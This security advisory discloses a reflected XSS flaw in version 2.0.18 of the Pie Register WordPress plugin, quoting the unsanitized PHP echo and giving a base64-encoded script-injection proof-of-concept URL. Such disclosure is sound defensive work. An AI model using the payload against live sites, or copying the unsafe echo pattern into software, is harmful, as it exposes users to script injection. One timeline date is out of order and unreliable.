Details
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Software: Pie Register
Version: 2.0.18
Homepage: https://github.com/GTSolutions/Pie-Register
CVE: CVE-2015-7377 (Pending)
CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N)
CWE: CWE-79

Description
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An unauthenticated reflected XSS vulnerability in Pie Register 2.0.18 allows malicious script injection via the invitaion_code parameter.  Pie Register is a WordPress plugin with over 10,000 active installs.

Vulnerability
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The vulnerability is due to the unsanitized GET parameter invitaion_code:

From: pie-register/pie-register.php:
647: $inv_code = base64_decode($_GET['invitaion_code']);
. . .
662: <h2><?php _e("Activation Code","piereg");echo " : ".$inv_code; ?></h2>

Proof of concept
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The payload is Base64 encoded.

http://localhost/wordpress/?page=pie-register&show_dash_widget=1&invitaion_code=PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

Tested on Firefox 41.0 and Chrome 45.0.2454.85.

Remediation
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Upgrade the plugin to version 2.0.19.

Timeline
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2015-09-23: Discovered
2015-09-24: Contacted vendor via website support form
2015-08-24: Requested CVE
2015-09-28: Vendor supplied security contact email
2015-09-30: Report sent to vendor and wordpress.org
2015-10-02: Vendor releases version 2.0.19 on Github - confirmed fixed
2015-10-12: Public Disclosure

References
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[1] http://codex.wordpress.org/Data_Validation

Discovered by
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David Moore @grajagandev